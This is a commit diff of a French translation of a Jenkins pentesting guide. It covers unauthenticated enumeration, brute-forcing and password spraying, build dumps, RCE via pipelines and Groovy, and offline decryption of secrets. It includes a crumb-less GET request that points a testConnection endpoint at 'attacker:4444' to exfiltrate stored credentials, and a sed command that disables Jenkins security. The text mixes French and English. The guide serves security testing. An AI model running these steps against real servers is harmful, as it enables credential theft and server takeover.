Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/

This commit is contained in:
Translator
2026-01-17 16:57:18 +00:00
parent d4e0db2c5d
commit 0d1204ae80
2 changed files with 145 additions and 117 deletions
+96 -80
View File
@@ -1,10 +1,10 @@
# Sécurité de Jenkins
# Jenkins Sécurité
{{#include ../../banners/hacktricks-training.md}}
## Informations de base
Jenkins est un outil qui offre une méthode simple pour établir un environnement de **continuous integration** ou **continuous delivery** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
Jenkins est un outil qui offre une méthode simple pour établir un environnement de **continuous integration** ou **continuous delivery** (CI/CD) pour presque **toute** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas la **nécessité de créer des scripts pour des étapes individuelles**, il fournit une manière plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de build, test et déploiement que ce que l'on peut aisément construire manuellement.
{{#ref}}
basic-jenkins-information.md
@@ -12,21 +12,21 @@ basic-jenkins-information.md
## Énumération non authentifiée
Afin de rechercher des pages Jenkins intéressantes sans authentification comme (_/people_ ou _/asynchPeople_, cela liste les utilisateurs actuels) vous pouvez utiliser :
Pour rechercher des pages Jenkins intéressantes sans authentification comme (_/people_ ou _/asynchPeople_, qui liste les utilisateurs actuels), vous pouvez utiliser :
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Vérifiez si vous pouvez exécuter des commandes sans avoir besoin d'authentification :
Vérifiez si vous pouvez exécuter des commandes sans authentification :
```
msf> use auxiliary/scanner/http/jenkins_command
```
Sans identifiants, vous pouvez regarder à l'intérieur du chemin _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ pour **noms d'utilisateur**.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
Vous pourrez peut-être obtenir la version de Jenkins à partir du chemin _**/oops**_ ou _**/error**_.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../images/image (146).png>)
### Vulnérabilités Connues
### Vulnérabilités connues
{{#ref}}
https://github.com/gquere/pwn_jenkins
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
## Connexion
Dans les informations de base, vous pouvez vérifier **toutes les façons de se connecter à Jenkins** :
Dans les informations de base vous pouvez vérifier **toutes les façons de vous connecter à Jenkins** :
{{#ref}}
basic-jenkins-information.md
@@ -42,124 +42,140 @@ basic-jenkins-information.md
### Inscription
Vous pourrez trouver des instances de Jenkins qui **vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.**
Vous pourrez trouver des instances Jenkins qui **vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.**
### **Connexion SSO**
De plus, si la **fonctionnalité**/**plugins** **SSO** étaient présents, vous devriez essayer de **vous connecter** à l'application en utilisant un compte test (c'est-à-dire, un **compte Github/Bitbucket test**). Astuce de [**ici**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
De plus, si des **SSO** **fonctionnalité**/**plugins** sont présents, vous devriez tenter de **vous connecter** à l'application en utilisant un compte de test (par ex., un compte de test **Github/Bitbucket**). Astuce tirée de [**ici**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce des noms d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
**Jenkins** ne dispose pas de **politique de mot de passe** ni de **username brute-force mitigation**. Il est essentiel de **brute-force** les comptes car des **mots de passe faibles** ou des **usernames as passwords** peuvent être utilisés, voire des **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Utilisez [ce script python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [ce script powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
Utilisez [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### Contournement de la liste blanche IP
### IP Whitelisting Bypass
De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.
De nombreuses organisations combinent des solutions SaaS-based source control management (SCM) telles que GitHub ou GitLab avec une solution CI interne et self-hosted comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de recevoir des webhook events depuis les SaaS source control vendors, principalement pour déclencher des pipeline jobs.
Pour ce faire, les organisations **mettent sur liste blanche** les **plages IP** des **plateformes SCM**, leur permettant d'accéder au **système CI interne** via des **webhooks**. Cependant, il est important de noter que **quiconque** peut créer un **compte** sur GitHub ou GitLab et le configurer pour **déclencher un webhook**, envoyant potentiellement des requêtes au **système CI interne**.
Pour ce faire, les organisations mettent en liste blanche les plages IP des plateformes SCM, leur permettant d'accéder au système CI interne via des webhooks. Cependant, il est important de noter que n'importe qui peut créer un compte sur GitHub ou GitLab et le configurer pour déclencher un webhook, envoyant potentiellement des requêtes au système CI interne.
Vérifiez : [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Voir: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Abus internes de Jenkins
Dans ces scénarios, nous allons supposer que vous avez un compte valide pour accéder à Jenkins.
Dans ces scénarios, nous supposerons que vous disposez d'un compte valide pour accéder à Jenkins.
> [!WARNING]
> En fonction du mécanisme **d'autorisation** configuré dans Jenkins et des permissions de l'utilisateur compromis, vous **pourriez être en mesure ou non de réaliser les attaques suivantes.**
> Selon le mécanisme d'autorisation configuré dans Jenkins et les permissions de l'utilisateur compromis, vous pourrez ou non effectuer les attaques suivantes.
Pour plus d'informations, consultez les informations de base :
Pour plus d'informations consultez les informations de base :
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Liste des utilisateurs
### Lister les utilisateurs
Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enregistrés à [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Si vous avez accès à Jenkins, vous pouvez lister les autres utilisateurs enregistrés sur [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping des builds pour trouver des secrets en clair
### Extraction des builds pour trouver des secrets en clair
Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver des secrets en clair.
Utilisez [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties console des builds et les variables d'environnement de build afin de, espérons-le, trouver des secrets en clair.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Vol de Credentials SSH**
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les credentials SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces credentials** en créant/modifiant un nœud et en **définissant un hôte qui enregistrera les credentials** sans vérifier la clé de l'hôte :
Certains plugins exposent des handlers Jelly `validateButton` ou `test connection` sous des chemins comme `/descriptorByName/<Class>/testConnection`. Quand les handlers **n'imposent pas POST ou des vérifications de permissions**, vous pouvez :
- Remplacer POST par GET et supprimer le Crumb pour contourner les contrôles CSRF.
- Déclencher le handler en tant que low-priv/anonymous si aucune vérification `Jenkins.ADMINISTER` n'est présente.
- CSRF un admin et remplacer le paramètre host/URL pour exfiltrer des credentials ou déclencher des appels sortants.
- Utiliser les erreurs de réponse (p.ex., `ConnectException`) comme un oracle SSRF/port-scan.
Exemple GET (sans Crumb) transformant un appel de validation en SSRF/credential exfiltration:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Stealing SSH Credentials**
Si l'utilisateur compromis dispose de **suffisamment de privilèges pour créer/modifier un nouveau Jenkins node** et que des SSH credentials sont déjà stockées pour accéder à d'autres nodes, il pourrait **steal those credentials** en créant/modifiant un node et en **configurant un host qui enregistrera les credentials** sans vérifier la host key :
![](<../../images/image (218).png>)
Vous trouverez généralement les credentials ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).
Vous trouverez généralement les Jenkins ssh credentials dans un **global provider** (`/credentials/`), donc vous pouvez aussi les dumper comme n'importe quel autre secret. More information in the [**Dumping secrets section**](#dumping-secrets).
### **RCE dans Jenkins**
### **RCE in Jenkins**
Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées sur le même réseau ou même de **rassembler des credentials cloud**.
Obtenir un **shell in the Jenkins server** donne à l'attacker l'opportunité de leak tous les **secrets** et **env variables**, d'**exploit other machines** situées sur le même réseau ou même de **gather cloud credentials**.
Par défaut, Jenkins s'exécute **en tant que SYSTEM**. Donc, le compromettre donnera à l'attaquant **des privilèges SYSTEM**.
Par défaut, Jenkins **run as SYSTEM**. Donc, le compromettre donnera à l'attacker **SYSTEM privileges**.
### **RCE Création/Modification d'un projet**
### **RCE Creating/Modifying a project**
Créer/Modifier un projet est un moyen d'obtenir RCE sur le serveur Jenkins :
Créer/modifier un projet est un moyen d'obtenir RCE sur le Jenkins server :
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Exécution de script Groovy**
### **RCE Execute Groovy script**
Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus discret que de créer un nouveau projet :
Vous pouvez aussi obtenir une RCE en exécutant un Groovy script, ce qui pourrait my plus discret que de créer un nouveau projet :
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Création/Modification de Pipeline
### RCE Creating/Modifying Pipeline
Vous pouvez également obtenir **RCE en créant/modifiant un pipeline** :
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Exploitation de Pipeline
## Pipeline Exploitation
Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.
Pour exploiter des pipelines vous devez toujours avoir accès à Jenkins.
### Pipelines de Construction
### Build Pipelines
Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, un **fichier à l'intérieur du dépôt** peut être configuré pour contenir la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :
**Pipelines** peuvent aussi être utilisés comme **mécanisme de build dans les projets**, dans ce cas un **fichier dans le repository** peut être configuré qui contiendra la syntaxe du pipeline. Par défaut `/Jenkinsfile` est utilisé :
![](<../../images/image (127).png>)
Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'accès au dépôt et l'accès au pipeline.
Il est aussi possible de stocker les fichiers de configuration du pipeline ailleurs (par exemple dans d'autres repositories) dans le but de **séparer** l'**accès** au repository et l'accès au pipeline.
Si un attaquant a **un accès en écriture sur ce fichier**, il pourra **le modifier** et **potentiellement déclencher** le pipeline sans même avoir accès à Jenkins.\
Il est possible que l'attaquant doive **contourner certaines protections de branche** (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).
Si un attacker a **write access over that file** il pourra **le modifier** et **potentiellement trigger** le pipeline sans même avoir accès à Jenkins.
Il est possible que l'attacker doive **bypass some branch protections** (selon la plateforme et les privilèges utilisateur elles pourront être bypassed ou non).
Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :
- **Demande de tirage** vers la branche principale (ou potentiellement vers d'autres branches)
- **Pousser vers la branche principale** (ou potentiellement vers d'autres branches)
- **Mettre à jour la branche principale** et attendre qu'elle soit exécutée d'une manière ou d'une autre
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> Si vous êtes un **utilisateur externe**, vous ne devriez pas vous attendre à créer une **PR vers la branche principale** du dépôt d'un **autre utilisateur/organisation** et **déclencher le pipeline**... mais si c'est **mal configuré**, vous pourriez complètement **compromettre des entreprises juste en exploitant cela**.
> Si vous êtes un **external user** vous ne devriez pas vous attendre à pouvoir créer une **PR to the main branch** du repo d'**other user/organization** et **trigger the pipeline**... mais si c'est **bad configured** vous pourriez fully **compromise companies just by exploiting this**.
### RCE de Pipeline
### Pipeline RCE
Dans la section RCE précédente, une technique a déjà été indiquée pour [**obtenir RCE en modifiant un pipeline**](./#rce-creating-modifying-pipeline).
Dans la section RCE précédente il a déjà été indiqué une technique pour [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### Vérification des variables d'environnement
### Checking Env variables
Il est possible de déclarer des **variables d'environnement en texte clair** pour l'ensemble du pipeline ou pour des étapes spécifiques. Ces variables d'environnement **ne devraient pas contenir d'informations sensibles**, mais un attaquant pourrait toujours **vérifier toutes les configurations de pipeline/Jenkinsfiles** :
Il est possible de déclarer des **clear text env variables** pour l'ensemble du pipeline ou pour des stages spécifiques. Ces env variables **ne devraient pas contenir d'informations sensibles**, mais un attacker peut toujours **check all the pipeline** configurations/Jenkinsfiles :
```bash
pipeline {
agent {label 'built-in'}
@@ -174,7 +190,7 @@ STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
### Exfiltration des secrets
Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :
@@ -182,9 +198,9 @@ Pour des informations sur la façon dont les secrets sont généralement traité
basic-jenkins-information.md
{{#endref}}
Les identifiants peuvent être **scopés aux fournisseurs globaux** (`/credentials/`) ou à des **projets spécifiques** (`/job/<project-name>/configure`). Par conséquent, pour exfiltrer tous les identifiants, vous devez **compromettre au moins tous les projets** qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.
Les Credentials peuvent être **scopés aux providers globaux** (`/credentials/`) ou à des **projets spécifiques** (`/job/<project-name>/configure`). Par conséquent, pour exfiltrer tous les credentials, vous devez **compromettre au minimum tous les projets** qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.
Il y a un autre problème, pour obtenir un **secret à l'intérieur de l'env** d'un pipeline, vous devez **connaître le nom et le type du secret**. Par exemple, si vous essayez de **charger** un **secret** **`usernamePassword`** en tant que **secret** **`string`**, vous obtiendrez cette **erreur** :
Il y a un autre problème : pour obtenir un **secret dans l'environnement** d'un pipeline, vous devez **connaître le nom et le type du secret**. Par exemple, si vous essayez de **charger** un **`usernamePassword`** **secret** en tant que **`string`** **secret**, vous obtiendrez cette **erreur** :
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
@@ -216,25 +232,25 @@ env
'''
}
```
À la fin de cette page, vous pouvez **trouver tous les types de credentials** : [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
À la fin de cette page, vous pouvez **trouver tous les types d'identifiants** : [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> La meilleure façon de **vider tous les secrets en une seule fois** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **fuir** les **clés maîtresses** et les **secrets chiffrés** et de les déchiffrer hors ligne.\
> Plus d'informations sur la façon de faire cela dans la [section Nodes & Agents](./#nodes-and-agents) et dans la [section Post Exploitation](./#post-exploitation).
> La meilleure façon de **dump all the secrets at once** consiste à **compromising** la machine **Jenkins** (par exemple en exécutant un reverse shell dans le **built-in node**) puis à **leaking** les **master keys** et les **encrypted secrets** et à les decrypting offline.\
> Plus d'informations sur comment faire cela dans la [Nodes & Agents section](#nodes-and-agents) et dans la [Post Exploitation section](#post-exploitation).
### Déclencheurs
D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **modes automatisés par lesquels le Pipeline doit être relancé**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les déclencheurs actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
D'après [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : la directive `triggers` définit les **manières automatisées dont le Pipeline doit être relancé**. Pour les Pipelines intégrés à une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur webhooks sera probablement déjà présente. Les triggers actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
Exemple de Cron :
Exemple cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
Vérifiez **d'autres exemples dans la documentation**.
Consultez **d'autres exemples dans la documentation**.
### Nœuds & Agents
### Nodes & Agents
Une **instance Jenkins** peut avoir **différents agents fonctionnant sur différentes machines**. Du point de vue d'un attaquant, l'accès à différentes machines signifie **différentes potentielles informations d'identification cloud** à voler ou **différents accès réseau** qui pourraient être abus pour exploiter d'autres machines.
Une **Jenkins instance** peut avoir **different agents running in different machines**. Du point de vue d'un attaquant, l'accès à différentes machines signifie **different potential cloud credentials** à voler ou **different network access** qui pourrait être utilisé pour exploiter d'autres machines.
Pour plus d'informations, consultez les informations de base :
@@ -242,20 +258,20 @@ Pour plus d'informations, consultez les informations de base :
basic-jenkins-information.md
{{#endref}}
Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud Intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :
Vous pouvez énumérer les **configured nodes** dans `/computer/`, vous trouverez généralement le **`Built-In Node`** (qui est le node exécutant Jenkins) et potentiellement d'autres :
![](<../../images/image (249).png>)
Il est **particulièrement intéressant de compromettre le nœud intégré** car il contient des informations sensibles sur Jenkins.
Il est **particulièrement intéressant de compromettre le Built-In node** car il contient des informations Jenkins sensibles.
Pour indiquer que vous souhaitez **exécuter** le **pipeline** dans le **nœud Jenkins intégré**, vous pouvez spécifier dans le pipeline la configuration suivante :
Pour indiquer que vous voulez **run** le **pipeline** dans le **built-in Jenkins node** vous pouvez spécifier dans le pipeline la configuration suivante :
```bash
pipeline {
agent {label 'built-in'}
```
### Exemple complet
Pipeline dans un agent spécifique, avec un déclencheur cron, avec des variables d'environnement de pipeline et de stage, chargeant 2 variables dans une étape et envoyant un reverse shell :
Pipeline dans un agent spécifique, avec un cron trigger, avec des variables d'environnement au niveau pipeline et stage, chargeant 2 variables dans un step et envoyant un reverse shell:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +302,7 @@ cleanWs()
}
}
```
## Lecture de fichiers arbitraires à RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -312,28 +328,28 @@ jenkins-rce-creating-modifying-pipeline.md
```
msf> post/multi/gather/jenkins_gather
```
### Secrets Jenkins
### Jenkins Secrets
Vous pouvez lister les secrets en accédant à `/credentials/` si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** peuvent également contenir **plus de credentials**.
Vous pouvez lister les secrets en accédant à `/credentials/` si vous avez les permissions suffisantes. Notez que cela ne listera que les secrets contenus dans le fichier `credentials.xml`, mais **build configuration files** peuvent aussi contenir **more credentials**.
Si vous pouvez **voir la configuration de chaque projet**, vous pouvez également y voir les **noms des credentials (secrets)** utilisés pour accéder au dépôt et **d'autres credentials du projet**.
Si vous pouvez **voir la configuration de chaque projet**, vous pouvez également y voir les **names of the credentials (secrets)** utilisées pour accéder au repository et **other credentials of the project**.
![](<../../images/image (180).png>)
#### Depuis Groovy
#### From Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### Depuis le disque
#### From disk
Ces fichiers sont nécessaires pour **décrypter les secrets Jenkins** :
Ces fichiers sont nécessaires pour **décrypt(er) Jenkins secrets** :
- secrets/master.key
- secrets/hudson.util.Secret
Ces **secrets peuvent généralement être trouvés dans** :
De tels **secrets peuvent généralement être trouvés dans** :
- credentials.xml
- jobs/.../build.xml
@@ -349,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Décrypter les secrets Jenkins hors ligne
#### Decrypt Jenkins secrets offline
Si vous avez extrait **les mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
Si vous avez extrait les **needed passwords to decrypt the secrets**, utilisez [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,18 +375,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Décrypter les secrets Jenkins depuis Groovy
#### Déchiffrer les secrets Jenkins depuis Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Créer un nouvel utilisateur administrateur
1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
2. Recherchez le mot `<useSecurity>true</useSecurity>` et changez le mot **`true`** en **`false`**.
1. Accédez au fichier config.xml de Jenkins dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
2. Recherchez le mot `<useSecurity>true</useSecurity>` et remplacez le mot \*\*`true` \*\* par **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Redémarrez** le serveur **Jenkins** : `service jenkins restart`
4. Maintenant, allez à nouveau sur le portail Jenkins et **Jenkins ne demandera aucune information d'identification** cette fois. Vous naviguez vers "**Gérer Jenkins**" pour définir à nouveau le **mot de passe administrateur**.
5. **Activez** à nouveau la **sécurité** en changeant les paramètres en `<useSecurity>true</useSecurity>` et **redémarrez à nouveau Jenkins**.
4. Revenez sur le portail Jenkins et **Jenkins ne demandera aucun identifiant** cette fois-ci. Naviguez vers "**Gérer Jenkins**" pour définir de nouveau le **mot de passe administrateur**.
5. **Activez** de nouveau la **sécurité** en remettant `<useSecurity>true</useSecurity>` et **redémarrez Jenkins**.
## Références
@@ -4,83 +4,94 @@
## Accès
### Nom d'utilisateur + Mot de passe
### Nom d'utilisateur + mot de passe
La manière la plus courante de se connecter à Jenkins est avec un nom d'utilisateur ou un mot de passe.
La façon la plus courante de se connecter à Jenkins est avec un nom d'utilisateur et un mot de passe.
### Cookie
Si un **cookie autorisé est volé**, il peut être utilisé pour accéder à la session de l'utilisateur. Le cookie est généralement appelé `JSESSIONID.*`. (Un utilisateur peut terminer toutes ses sessions, mais il doit d'abord découvrir qu'un cookie a été volé).
Si un **cookie autorisé est volé**, il peut être utilisé pour accéder à la session de l'utilisateur. Le cookie s'appelle généralement `JSESSIONID.*`. (Un utilisateur peut terminer toutes ses sessions, mais il devra d'abord découvrir qu'un cookie a été volé).
### SSO/Plugins
Jenkins peut être configuré à l'aide de plugins pour être **accessible via un SSO tiers**.
Jenkins peut être configuré via des plugins pour être **accessible via un SSO tiers**.
### Jetons
### Tokens
**Les utilisateurs peuvent générer des jetons** pour donner accès aux applications afin de les usurper via CLI ou REST API.
**Les utilisateurs peuvent générer des tokens** pour donner accès à des applications afin de les impersonner via le CLI ou le REST API.
### Clés SSH
Ce composant fournit un serveur SSH intégré pour Jenkins. C'est une interface alternative pour le [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), et les commandes peuvent être invoquées de cette manière en utilisant n'importe quel client SSH. (D'après les [docs](https://plugins.jenkins.io/sshd/))
Ce composant fournit un serveur SSH intégré pour Jenkins. Cest une interface alternative pour le [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), et des commandes peuvent être invoquées de cette façon avec n'importe quel client SSH. (Extrait des [docs](https://plugins.jenkins.io/sshd/))
## Autorisation
Dans `/configureSecurity`, il est possible de **configurer la méthode d'autorisation de Jenkins**. Il existe plusieurs options :
Dans `/configureSecurity` il est possible de **configurer la méthode d'autorisation de Jenkins**. Il existe plusieurs options :
- **Tout le monde peut tout faire** : Même l'accès anonyme peut administrer le serveur.
- **Mode hérité** : Identique à Jenkins <1.164. Si vous avez le **rôle "admin"**, vous aurez **un contrôle total** sur le système, et **sinon** (y compris les utilisateurs **anonymes**), vous aurez un accès **en lecture**.
- **Les utilisateurs connectés peuvent tout faire** : Dans ce mode, chaque **utilisateur connecté obtient un contrôle total** de Jenkins. Le seul utilisateur qui n'aura pas un contrôle total est **l'utilisateur anonyme**, qui n'obtient qu'un **accès en lecture**.
- **Sécurité basée sur une matrice** : Vous pouvez configurer **qui peut faire quoi** dans un tableau. Chaque **colonne** représente une **permission**. Chaque **ligne** **représente** un **utilisateur ou un groupe/rôle.** Cela inclut un utilisateur spécial '**anonyme**', qui représente **les utilisateurs non authentifiés**, ainsi que '**authentifié**', qui représente **tous les utilisateurs authentifiés**.
- **Anyone can do anything** : Même l'accès anonyme peut administrer le serveur.
- **Legacy mode** : Identique à Jenkins <1.164. Si vous avez le rôle **"admin"**, vous obtiendrez le **contrôle total** du système, et **sinon** (y compris les utilisateurs **anonymous**) vous aurez un accès en **lecture**.
- **Logged-in users can do anything** : Dans ce mode, chaque **utilisateur connecté obtient le contrôle total** de Jenkins. Le seul utilisateur qui n'aura pas le contrôle total est l'utilisateur **anonymous**, qui n'obtient que **l'accès en lecture**.
- **Matrix-based security** : Vous pouvez configurer **qui peut faire quoi** dans un tableau. Chaque **colonne** représente une **permission**. Chaque **ligne** **représente** un **utilisateur ou un groupe/role.** Cela inclut un utilisateur spécial '**anonymous**', qui représente les **utilisateurs non authentifiés**, ainsi que '**authenticated**', qui représente **tous les utilisateurs authentifiés**.
![](<../../images/image (149).png>)
- **Stratégie d'autorisation basée sur les projets :** Ce mode est une **extension** à "**la sécurité basée sur une matrice**" qui permet de définir une matrice ACL supplémentaire pour **chaque projet séparément.**
- **Stratégie basée sur les rôles :** Permet de définir des autorisations en utilisant une **stratégie basée sur les rôles**. Gérez les rôles dans `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** Ce mode est une **extension** de la "**Matrix-based security**" qui permet de définir une matrice ACL supplémentaire **pour chaque projet séparément.**
- **Role-Based Strategy:** Permet de définir les autorisations via une **stratégie basée sur les rôles**. Gérez les rôles dans `/role-strategy`.
## **Royaume de sécurité**
## **Security Realm**
Dans `/configureSecurity`, il est possible de **configurer le royaume de sécurité.** Par défaut, Jenkins inclut le support de quelques royaumes de sécurité différents :
Dans `/configureSecurity` il est possible de **configurer le security realm.** Par défaut, Jenkins inclut la prise en charge de quelques Security Realms différents :
- **Déléguer au conteneur de servlets** : Pour **déléguer l'authentification à un conteneur de servlets exécutant le contrôleur Jenkins**, tel que [Jetty](https://www.eclipse.org/jetty/).
- **Base de données utilisateur propre à Jenkins :** Utilisez **le magasin de données utilisateur intégré de Jenkins** pour l'authentification au lieu de déléguer à un système externe. Cela est activé par défaut.
- **LDAP** : Déléguer toute l'authentification à un serveur LDAP configuré, y compris les utilisateurs et les groupes.
- **Base de données utilisateur/groupe Unix** : **Délègue l'authentification à la base de données utilisateur au niveau du système d'exploitation Unix sous-jacent sur le contrôleur Jenkins.** Ce mode permettra également la réutilisation des groupes Unix pour l'autorisation.
- **Delegate to servlet container** : Pour **déléguer l'authentification à un servlet container exécutant le controller Jenkins**, comme [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Utiliser **le magasin d'utilisateurs intégré de Jenkins** pour l'authentification au lieu de déléguer à un système externe. Ceci est activé par défaut.
- **LDAP** : Déléguer toute l'authentification à un serveur LDAP configuré, incluant à la fois les utilisateurs et les groupes.
